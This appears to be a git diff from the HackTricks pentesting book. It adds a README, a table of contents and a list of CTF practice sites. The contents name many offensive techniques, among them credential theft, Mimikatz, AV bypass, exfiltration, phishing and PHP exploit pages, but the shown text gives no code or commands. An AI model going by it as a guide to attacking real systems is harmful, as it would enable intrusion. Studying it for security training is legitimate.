+
+Free and smale site with videos and CTFs
+
+
+## https://crackmes.one/
+
+This site has a lot of binarys for forensic learning.
+
+## https://overthewire.org/wargames/
+
+The wargames offered by the OverTheWire community can help you to learn and practice security concepts in the form of fun-filled games.
+ Perfect for beginners.
+
+## https://www.hackthissite.org/missions/basic/
+
+## https://attackdefense.com/
diff --git a/README.md b/README.md
deleted file mode 120000
index 351df1dae72..00000000000
--- a/README.md
+++ /dev/null
@@ -1 +0,0 @@
-src/README.md
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 00000000000..37053d55362
--- /dev/null
+++ b/README.md
@@ -0,0 +1,56 @@
+---
+description: >-
+ Welcome to the page where you will find each hacking trick/technique/whatever
+ I have learnt in CTFs, real life apps, and reading researches and news.
+---
+
+# HackTricks
+
+
+
+**Welcome to the page where you will find each hacking trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news.**
+
+Here you can find a little **introduction:**
+
+## [**Pentesting Methodology**](pentesting-methodology.md)
+
+## [**Pentesting Methodology**](pentesting-methodology.md)
+
+Here you will find the **typical flow** that **you should follow when pentesting** one or more **machines**.
+
+**Click in the title to start!**
+
+If you want to **know** about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/) **\*\*\[**PEASS & HackTricks telegram group here**\]\(**[https://t.me/peass](https://t.me/peass)**\), or** follow me on Twitter ****[**🐦**](https://emojipedia.org/bird/)**\[**@carlospolopm**\]\(**[https://twitter.com/carlospolopm](https://twitter.com/carlospolopm)**\)**.
+**If you want to** share some tricks with the community **you can also submit** pull requests **to \[**[https://github.com/carlospolop/hacktricks\*\*\]\(https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks**]%28https://github.com/carlospolop/hacktricks)\) **that will be reflected in this book.
+Don't forget to** give ⭐ on the github\*\* to motivate me to continue developing this book.
+
+{% hint style="danger" %}
+Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?
+[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!**
+{% endhint %}
+
+If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book.
+
+## Corporate Sponsors
+
+### \*\*\*\*[**INE**](https://ine.com/)\*\*\*\*
+
+
+
+[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)
+
+\*\*\*\*[**INE**](https://ine.com/) is a great platform to start learning or **improve** your **IT knowledge** through their huge range of **courses**. I personally like and have completed many from the [**cybersecurity section**](https://ine.com/pages/cybersecurity). **INE** also provides with the official courses to prepare the **certifications** from [**eLearnSecurity**](https://elearnsecurity.com/)**.**
+
+Copyright © Carlos Polop 2020. Except where otherwise specified, the text on [HACK TRICKS](https://github.com/carlospolop/hacktricks) by Carlos Polop is licensed under the [**Commons Clause**](https://commonsclause.com/) \(which allow you to use this content freely WITHOUT commercial use\).
+
+#### **Courses and Certifications reviews**
+
+You can find **my reviews of the certifications eMAPT and eWPTXv2** \(and their **respective preparation courses**\) in the following page:
+
+{% page-ref page="courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md" %}
+
+\*\*\*\*
+
+**Copyright © Carlos Polop 2021. Except where otherwise specified, the rights of the text on** [**HACKTRICKS**](https://github.com/carlospolop/hacktricks) **by Carlos Polop are reserved.**
+
diff --git a/SUMMARY.md b/SUMMARY.md
new file mode 100644
index 00000000000..537e9f489f2
--- /dev/null
+++ b/SUMMARY.md
@@ -0,0 +1,580 @@
+# Table of contents
+
+* [HackTricks](README.md)
+* [About the author](about-the-author.md)
+* [Getting Started in Hacking](getting-started-in-hacking.md)
+* [Pentesting Methodology](pentesting-methodology.md)
+* [External Recon Methodology](external-recon-methodology/README.md)
+ * [Github Leaked Secrets](external-recon-methodology/github-leaked-secrets.md)
+* [Phishing Methodology](phishing-methodology/README.md)
+ * [Clone a Website](phishing-methodology/clone-a-website.md)
+ * [Detecting Phising](phishing-methodology/detecting-phising.md)
+ * [Phishing Documents](phishing-methodology/phishing-documents.md)
+* [Exfiltration](exfiltration.md)
+* [Tunneling and Port Forwarding](tunneling-and-port-forwarding.md)
+* [Brute Force - CheatSheet](brute-force.md)
+* [Search Exploits](search-exploits.md)
+
+## Shells
+
+* [Shells \(Linux, Windows, MSFVenom\)](shells/shells/README.md)
+ * [MSFVenom - CheatSheet](shells/shells/msfvenom.md)
+ * [Shells - Windows](shells/shells/windows.md)
+ * [Shells - Linux](shells/shells/linux.md)
+ * [Full TTYs](shells/shells/full-ttys.md)
+
+## Linux/Unix
+
+* [Checklist - Linux Privilege Escalation](linux-unix/linux-privilege-escalation-checklist.md)
+* [Linux Privilege Escalation](linux-unix/privilege-escalation/README.md)
+ * [PAM - Pluggable Authentication Modules](linux-unix/privilege-escalation/pam-pluggable-authentication-modules.md)
+ * [SELinux](linux-unix/privilege-escalation/selinux.md)
+ * [Logstash](linux-unix/privilege-escalation/logstash.md)
+ * [AppArmor](linux-unix/privilege-escalation/apparmor.md)
+ * [Containerd \(ctr\) Privilege Escalation](linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md)
+ * [Docker Breakout](linux-unix/privilege-escalation/docker-breakout.md)
+ * [electron/CEF/chromium debugger abuse](linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md)
+ * [Escaping from Jails](linux-unix/privilege-escalation/escaping-from-limited-bash.md)
+ * [Cisco - vmanage](linux-unix/privilege-escalation/cisco-vmanage.md)
+ * [D-Bus Enumeration & Command Injection Privilege Escalation](linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md)
+ * [Interesting Groups - Linux PE](linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md)
+ * [lxd/lxc Group - Privilege escalation](linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md)
+ * [ld.so exploit example](linux-unix/privilege-escalation/ld.so.conf-example.md)
+ * [Linux Capabilities](linux-unix/privilege-escalation/linux-capabilities.md)
+ * [NFS no\_root\_squash/no\_all\_squash misconfiguration PE](linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
+ * [Payloads to execute](linux-unix/privilege-escalation/payloads-to-execute.md)
+ * [RunC Privilege Escalation](linux-unix/privilege-escalation/runc-privilege-escalation.md)
+ * [Seccomp](linux-unix/privilege-escalation/seccomp.md)
+ * [Splunk LPE and Persistence](linux-unix/privilege-escalation/splunk-lpe-and-persistence.md)
+ * [SSH Forward Agent exploitation](linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md)
+ * [Socket Command Injection](linux-unix/privilege-escalation/socket-command-injection.md)
+ * [Wildcards Spare tricks](linux-unix/privilege-escalation/wildcards-spare-tricks.md)
+* [Useful Linux Commands](linux-unix/useful-linux-commands/README.md)
+ * [Bypass Bash Restrictions](linux-unix/useful-linux-commands/bypass-bash-restrictions.md)
+* [Linux Environment Variables](linux-unix/linux-environment-variables.md)
+
+## MacOS
+
+* [MacOS Security & Privilege Escalation](macos/macos-security-and-privilege-escalation/README.md)
+ * [Mac OS Architecture](macos/macos-security-and-privilege-escalation/mac-os-architecture.md)
+ * [MacOS MDM](macos/macos-security-and-privilege-escalation/macos-mdm/README.md)
+ * [Enrolling Devices in Other Organisations](macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md)
+ * [MacOS Protocols](macos/macos-security-and-privilege-escalation/macos-protocols.md)
+ * [MacOS Red Teaming](macos/macos-security-and-privilege-escalation/macos-red-teaming.md)
+ * [MacOS Serial Number](macos/macos-security-and-privilege-escalation/macos-serial-number.md)
+ * [MacOS Apps - Inspecting, debugging and Fuzzing](macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md)
+
+## Windows
+
+* [Checklist - Local Windows Privilege Escalation](windows/checklist-windows-privilege-escalation.md)
+* [Windows Local Privilege Escalation](windows/windows-local-privilege-escalation/README.md)
+ * [AppendData/AddSubdirectory permission over service registry](windows/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md)
+ * [Create MSI with WIX](windows/windows-local-privilege-escalation/create-msi-with-wix.md)
+ * [DPAPI - Extracting Passwords](windows/windows-local-privilege-escalation/dpapi-extracting-passwords.md)
+ * [SeImpersonate from High To System](windows/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md)
+ * [Access Tokens](windows/windows-local-privilege-escalation/access-tokens.md)
+ * [ACLs - DACLs/SACLs/ACEs](windows/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
+ * [Dll Hijacking](windows/windows-local-privilege-escalation/dll-hijacking.md)
+ * [From High Integrity to SYSTEM with Name Pipes](windows/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md)
+ * [Integrity Levels](windows/windows-local-privilege-escalation/integrity-levels.md)
+ * [JAWS](windows/windows-local-privilege-escalation/jaws.md)
+ * [JuicyPotato](windows/windows-local-privilege-escalation/juicypotato.md)
+ * [Leaked Handle Exploitation](windows/windows-local-privilege-escalation/leaked-handle-exploitation.md)
+ * [MSI Wrapper](windows/windows-local-privilege-escalation/msi-wrapper.md)
+ * [Named Pipe Client Impersonation](windows/windows-local-privilege-escalation/named-pipe-client-impersonation.md)
+ * [PowerUp](windows/windows-local-privilege-escalation/powerup.md)
+ * [Privilege Escalation Abusing Tokens](windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
+ * [Privilege Escalation with Autoruns](windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md)
+ * [RottenPotato](windows/windows-local-privilege-escalation/rottenpotato.md)
+ * [Seatbelt](windows/windows-local-privilege-escalation/seatbelt.md)
+ * [SeDebug + SeImpersonate copy token](windows/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md)
+ * [Windows C Payloads](windows/windows-local-privilege-escalation/windows-c-payloads.md)
+* [Active Directory Methodology](windows/active-directory-methodology/README.md)
+ * [Abusing Active Directory ACLs/ACEs](windows/active-directory-methodology/acl-persistence-abuse.md)
+ * [AD information in printers](windows/active-directory-methodology/ad-information-in-printers.md)
+ * [ASREPRoast](windows/active-directory-methodology/asreproast.md)
+ * [BloodHound](windows/active-directory-methodology/bloodhound.md)
+ * [Constrained Delegation](windows/active-directory-methodology/constrained-delegation.md)
+ * [Custom SSP](windows/active-directory-methodology/custom-ssp.md)
+ * [DCShadow](windows/active-directory-methodology/dcshadow.md)
+ * [DCSync](windows/active-directory-methodology/dcsync.md)
+ * [DSRM Credentials](windows/active-directory-methodology/dsrm-credentials.md)
+ * [Golden Ticket](windows/active-directory-methodology/golden-ticket.md)
+ * [Kerberos Authentication](windows/active-directory-methodology/kerberos-authentication.md)
+ * [Kerberoast](windows/active-directory-methodology/kerberoast.md)
+ * [MSSQL Trusted Links](windows/active-directory-methodology/mssql-trusted-links.md)
+ * [Over Pass the Hash/Pass the Key](windows/active-directory-methodology/over-pass-the-hash-pass-the-key.md)
+ * [Pass the Ticket](windows/active-directory-methodology/pass-the-ticket.md)
+ * [Password Spraying](windows/active-directory-methodology/password-spraying.md)
+ * [Force NTLM Privileged Authentication](windows/active-directory-methodology/printers-spooler-service-abuse.md)
+ * [Privileged Accounts and Token Privileges](windows/active-directory-methodology/privileged-accounts-and-token-privileges.md)
+ * [Resource-based Constrained Delegation](windows/active-directory-methodology/resource-based-constrained-delegation.md)
+ * [Security Descriptors](windows/active-directory-methodology/security-descriptors.md)
+ * [Silver Ticket](windows/active-directory-methodology/silver-ticket.md)
+ * [Skeleton Key](windows/active-directory-methodology/skeleton-key.md)
+ * [Unconstrained Delegation](windows/active-directory-methodology/unconstrained-delegation.md)
+* [NTLM](windows/ntlm/README.md)
+ * [Places to steal NTLM creds](windows/ntlm/places-to-steal-ntlm-creds.md)
+ * [PsExec/Winexec/ScExec](windows/ntlm/psexec-and-winexec.md)
+ * [SmbExec/ScExec](windows/ntlm/smbexec.md)
+ * [WmicExec](windows/ntlm/wmicexec.md)
+ * [AtExec / SchtasksExec](windows/ntlm/atexec.md)
+ * [WinRM](windows/ntlm/winrm.md)
+* [Stealing Credentials](windows/stealing-credentials/README.md)
+ * [Credentials Protections](windows/stealing-credentials/credentials-protections.md)
+ * [Mimikatz](windows/stealing-credentials/credentials-mimikatz.md)
+* [Authentication, Credentials, UAC and EFS](windows/authentication-credentials-uac-and-efs.md)
+* [Basic CMD for Pentesters](windows/basic-cmd-for-pentesters.md)
+* [Basic PowerShell for Pentesters](windows/basic-powershell-for-pentesters/README.md)
+ * [PowerView](windows/basic-powershell-for-pentesters/powerview.md)
+* [AV Bypass](windows/av-bypass.md)
+
+## Mobile Apps Pentesting
+
+* [Android APK Checklist](mobile-apps-pentesting/android-checklist.md)
+* [Android Applications Pentesting](mobile-apps-pentesting/android-app-pentesting/README.md)
+ * [Android Applications Basics](mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md)
+ * [Android Task Hijacking](mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md)
+ * [ADB Commands](mobile-apps-pentesting/android-app-pentesting/adb-commands.md)
+ * [APK decompilers](mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md)
+ * [AVD - Android Virtual Device](mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md)
+ * [Burp Suite Configuration for Android](mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md)
+ * [content:// protocol](mobile-apps-pentesting/android-app-pentesting/content-protocol.md)
+ * [Drozer Tutorial](mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/README.md)
+ * [Exploiting Content Providers](mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
+ * [Exploiting a debuggeable applciation](mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
+ * [Frida Tutorial](mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md)
+ * [Frida Tutorial 1](mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
+ * [Frida Tutorial 2](mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
+ * [Frida Tutorial 3](mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
+ * [Objection Tutorial](mobile-apps-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
+ * [Google CTF 2018 - Shall We Play a Game?](mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
+ * [Inspeckage Tutorial](mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md)
+ * [Intent Injection](mobile-apps-pentesting/android-app-pentesting/intent-injection.md)
+ * [Make APK Accept CA Certificate](mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
+ * [Manual DeObfuscation](mobile-apps-pentesting/android-app-pentesting/manual-deobfuscation.md)
+ * [React Native Application](mobile-apps-pentesting/android-app-pentesting/react-native-application.md)
+ * [Reversing Native Libraries](mobile-apps-pentesting/android-app-pentesting/reversing-native-libraries.md)
+ * [Smali - Decompiling/\[Modifying\]/Compiling](mobile-apps-pentesting/android-app-pentesting/smali-changes.md)
+ * [Spoofing your location in Play Store](mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md)
+ * [Webview Attacks](mobile-apps-pentesting/android-app-pentesting/webview-attacks.md)
+* [iOS Pentesting Checklist](mobile-apps-pentesting/ios-pentesting-checklist.md)
+* [iOS Pentesting](mobile-apps-pentesting/ios-pentesting/README.md)
+ * [Basic iOS Testing Operations](mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md)
+ * [Burp Suite Configuration for iOS](mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md)
+ * [Extracting Entitlements From Compiled Application](mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
+ * [Frida Configuration in iOS](mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md)
+ * [iOS App Extensions](mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md)
+ * [iOS Basics](mobile-apps-pentesting/ios-pentesting/ios-basics.md)
+ * [iOS Custom URI Handlers / Deeplinks / Custom Schemes](mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md)
+ * [iOS Hooking With Objection](mobile-apps-pentesting/ios-pentesting/ios-hooking-with-objection.md)
+ * [iOS Protocol Handlers](mobile-apps-pentesting/ios-pentesting/ios-protocol-handlers.md)
+ * [iOS Serialisation and Encoding](mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
+ * [iOS Testing Environment](mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md)
+ * [iOS UIActivity Sharing](mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md)
+ * [iOS Universal Links](mobile-apps-pentesting/ios-pentesting/ios-universal-links.md)
+ * [iOS UIPasteboard](mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md)
+ * [iOS WebViews](mobile-apps-pentesting/ios-pentesting/ios-webviews.md)
+
+## Pentesting
+
+* [Pentesting Network](pentesting/pentesting-network/README.md)
+ * [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
+ * [Spoofing SSDP and UPnP Devices with EvilSSDP](pentesting/pentesting-network/spoofing-ssdp-and-upnp-devices.md)
+ * [Wifi Attacks](pentesting/pentesting-network/wifi-attacks/README.md)
+ * [Evil Twin EAP-TLS](pentesting/pentesting-network/wifi-attacks/evil-twin-eap-tls.md)
+ * [Pentesting IPv6](pentesting/pentesting-network/pentesting-ipv6.md)
+ * [Nmap Summary \(ESP\)](pentesting/pentesting-network/nmap-summary-esp.md)
+ * [Network Protocols Explained \(ESP\)](pentesting/pentesting-network/network-protocols-explained-esp.md)
+ * [IDS and IPS Evasion](pentesting/pentesting-network/ids-evasion.md)
+ * [DHCPv6](pentesting/pentesting-network/dhcpv6.md)
+* [Pentesting JDWP - Java Debug Wire Protocol](pentesting/pentesting-jdwp-java-debug-wire-protocol.md)
+* [Pentesting Printers](pentesting/pentesting-printers/README.md)
+ * [Accounting bypass](pentesting/pentesting-printers/accounting-bypass.md)
+ * [Buffer Overflows](pentesting/pentesting-printers/buffer-overflows.md)
+ * [Credentials Disclosure / Brute-Force](pentesting/pentesting-printers/credentials-disclosure-brute-force.md)
+ * [Cross-Site Printing](pentesting/pentesting-printers/cross-site-printing.md)
+ * [Document Processing](pentesting/pentesting-printers/document-processing.md)
+ * [Factory Defaults](pentesting/pentesting-printers/factory-defaults.md)
+ * [File system access](pentesting/pentesting-printers/file-system-access.md)
+ * [Firmware updates](pentesting/pentesting-printers/firmware-updates.md)
+ * [Memory Access](pentesting/pentesting-printers/memory-access.md)
+ * [Physical Damage](pentesting/pentesting-printers/physical-damage.md)
+ * [Software packages](pentesting/pentesting-printers/software-packages.md)
+ * [Transmission channel](pentesting/pentesting-printers/transmission-channel.md)
+ * [Print job manipulation](pentesting/pentesting-printers/print-job-manipulation.md)
+ * [Print Job Retention](pentesting/pentesting-printers/print-job-retention.md)
+ * [Scanner and Fax](pentesting/pentesting-printers/scanner-and-fax.md)
+* [Pentesting SAP](pentesting/pentesting-sap.md)
+* [Pentesting Kubernetes](pentesting/pentesting-kubernetes/README.md)
+ * [Enumeration from a Pod](pentesting/pentesting-kubernetes/enumeration-from-a-pod.md)
+ * [Hardening Roles/ClusterRoles](pentesting/pentesting-kubernetes/hardening-roles-clusterroles.md)
+ * [Pentesting Kubernetes from the outside](pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md)
+* [7/tcp/udp - Pentesting Echo](pentesting/7-tcp-udp-pentesting-echo.md)
+* [21 - Pentesting FTP](pentesting/pentesting-ftp/README.md)
+ * [FTP Bounce attack - Scan](pentesting/pentesting-ftp/ftp-bounce-attack.md)
+ * [FTP Bounce - Download 2ºFTP file](pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md)
+* [22 - Pentesting SSH/SFTP](pentesting/pentesting-ssh.md)
+* [23 - Pentesting Telnet](pentesting/pentesting-telnet.md)
+* [25,465,587 - Pentesting SMTP/s](pentesting/pentesting-smtp/README.md)
+ * [SMTP - Commands](pentesting/pentesting-smtp/smtp-commands.md)
+* [43 - Pentesting WHOIS](pentesting/43-pentesting-whois.md)
+* [53 - Pentesting DNS](pentesting/pentesting-dns.md)
+* [69/UDP TFTP/Bittorrent-tracker](pentesting/69-udp-tftp.md)
+* [79 - Pentesting Finger](pentesting/pentesting-finger.md)
+* [80,443 - Pentesting Web Methodology](pentesting/pentesting-web/README.md)
+ * [AEM - Adobe Experience Cloud](pentesting/pentesting-web/aem-adobe-experience-cloud.md)
+ * [Apache](pentesting/pentesting-web/apache.md)
+ * [Artifactory Hacking guide](pentesting/pentesting-web/artifactory-hacking-guide.md)
+ * [Buckets](pentesting/pentesting-web/buckets/README.md)
+ * [Firebase Database](pentesting/pentesting-web/buckets/firebase-database.md)
+ * [AWS-S3](pentesting/pentesting-web/buckets/aws-s3.md)
+ * [CGI](pentesting/pentesting-web/cgi.md)
+ * [Code Review Tools](pentesting/pentesting-web/code-review-tools.md)
+ * [Drupal](pentesting/pentesting-web/drupal.md)
+ * [Flask](pentesting/pentesting-web/flask.md)
+ * [Git](pentesting/pentesting-web/git.md)
+ * [Golang](pentesting/pentesting-web/golang.md)
+ * [GraphQL](pentesting/pentesting-web/graphql.md)
+ * [H2 - Java SQL database](pentesting/pentesting-web/h2-java-sql-database.md)
+ * [IIS - Internet Information Services](pentesting/pentesting-web/iis-internet-information-services.md)
+ * [JBOSS](pentesting/pentesting-web/jboss.md)
+ * [Jenkins](pentesting/pentesting-web/jenkins.md)
+ * [JIRA](pentesting/pentesting-web/jira.md)
+ * [Joomla](pentesting/pentesting-web/joomla.md)
+ * [JSP](pentesting/pentesting-web/jsp.md)
+ * [Laravel](pentesting/pentesting-web/laravel.md)
+ * [Moodle](pentesting/pentesting-web/moodle.md)
+ * [Nginx](pentesting/pentesting-web/nginx.md)
+ * [PHP Tricks \(SPA\)](pentesting/pentesting-web/php-tricks-esp/README.md)
+ * [PHP - Useful Functions & disable\_functions/open\_basedir bypass](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
+ * [disable\_functions bypass - php-fpm/FastCGI](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
+ * [disable\_functions bypass - dl function](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md)
+ * [disable\_functions bypass - PHP 7.0-7.4 \(\*nix only\)](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md)
+ * [disable\_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md)
+ * [disable\_functions - PHP 5.x Shellshock Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md)
+ * [disable\_functions - PHP 5.2.4 ionCube extension Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md)
+ * [disable\_functions bypass - PHP <= 5.2.9 on windows](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md)
+ * [disable\_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md)
+ * [disable\_functions bypass - PHP safe\_mode bypass via proc\_open\(\) and custom environment Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md)
+ * [disable\_functions bypass - PHP Perl Extension Safe\_mode Bypass Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md)
+ * [disable\_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md)
+ * [disable\_functions bypass - PHP 5.2 - FOpen Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md)
+ * [disable\_functions bypass - via mem](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md)
+ * [disable\_functions bypass - mod\_cgi](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md)
+ * [disable\_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl\_exec](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)
+ * [Python](pentesting/pentesting-web/python.md)
+ * [Spring Actuators](pentesting/pentesting-web/spring-actuators.md)
+ * [Symphony](pentesting/pentesting-web/symphony.md)
+ * [Tomcat](pentesting/pentesting-web/tomcat.md)
+ * [Uncovering CloudFlare](pentesting/pentesting-web/uncovering-cloudflare.md)
+ * [VMWare \(ESX, VCenter...\)](pentesting/pentesting-web/vmware-esx-vcenter....md)
+ * [Web API Pentesting](pentesting/pentesting-web/web-api-pentesting.md)
+ * [WebDav](pentesting/pentesting-web/put-method-webdav.md)
+ * [werkzeug](pentesting/pentesting-web/werkzeug.md)
+ * [Wordpress](pentesting/pentesting-web/wordpress.md)
+ * [XSS to RCE Electron Desktop Apps](pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md)
+* [88tcp/udp - Pentesting Kerberos](pentesting/pentesting-kerberos-88/README.md)
+ * [Harvesting tickets from Windows](pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
+ * [Harvesting tickets from Linux](pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
+* [110,995 - Pentesting POP](pentesting/pentesting-pop.md)
+* [111/TCP/UDP - Pentesting Portmapper](pentesting/pentesting-rpcbind.md)
+* [113 - Pentesting Ident](pentesting/113-pentesting-ident.md)
+* [123/udp - Pentesting NTP](pentesting/pentesting-ntp.md)
+* [135, 593 - Pentesting MSRPC](pentesting/135-pentesting-msrpc.md)
+* [137,138,139 - Pentesting NetBios](pentesting/137-138-139-pentesting-netbios.md)
+* [139,445 - Pentesting SMB](pentesting/pentesting-smb.md)
+* [143,993 - Pentesting IMAP](pentesting/pentesting-imap.md)
+* [161,162,10161,10162/udp - Pentesting SNMP](pentesting/pentesting-snmp/README.md)
+ * [SNMP RCE](pentesting/pentesting-snmp/snmp-rce.md)
+* [194,6667,6660-7000 - Pentesting IRC](pentesting/pentesting-irc.md)
+* [264 - Pentesting Check Point FireWall-1](pentesting/pentesting-264-check-point-firewall-1.md)
+* [389, 636, 3268, 3269 - Pentesting LDAP](pentesting/pentesting-ldap.md)
+* [500/udp - Pentesting IPsec/IKE VPN](pentesting/ipsec-ike-vpn-pentesting.md)
+* [502 - Pentesting Modbus](pentesting/pentesting-modbus.md)
+* [512 - Pentesting Rexec](pentesting/512-pentesting-rexec.md)
+* [513 - Pentesting Rlogin](pentesting/pentesting-rlogin.md)
+* [514 - Pentesting Rsh](pentesting/pentesting-rsh.md)
+* [515 - Pentesting Line Printer Daemon \(LPD\)](pentesting/515-pentesting-line-printer-daemon-lpd.md)
+* [548 - Pentesting Apple Filing Protocol \(AFP\)](pentesting/584-pentesting-afp.md)
+* [554,8554 - Pentesting RTSP](pentesting/554-8554-pentesting-rtsp.md)
+* [623/UDP/TCP - IPMI](pentesting/623-udp-ipmi.md)
+* [631 - Internet Printing Protocol\(IPP\)](pentesting/pentesting-631-internet-printing-protocol-ipp.md)
+* [873 - Pentesting Rsync](pentesting/873-pentesting-rsync.md)
+* [1026 - Pentesting Rusersd](pentesting/1026-pentesting-rusersd.md)
+* [1080 - Pentesting Socks](pentesting/1080-pentesting-socks.md)
+* [1098/1099/1050 - Pentesting Java RMI - RMI-IIOP](pentesting/1099-pentesting-java-rmi.md)
+* [1433 - Pentesting MSSQL - Microsoft SQL Server](pentesting/pentesting-mssql-microsoft-sql-server.md)
+* [1521,1522-1529 - Pentesting Oracle TNS Listener](pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
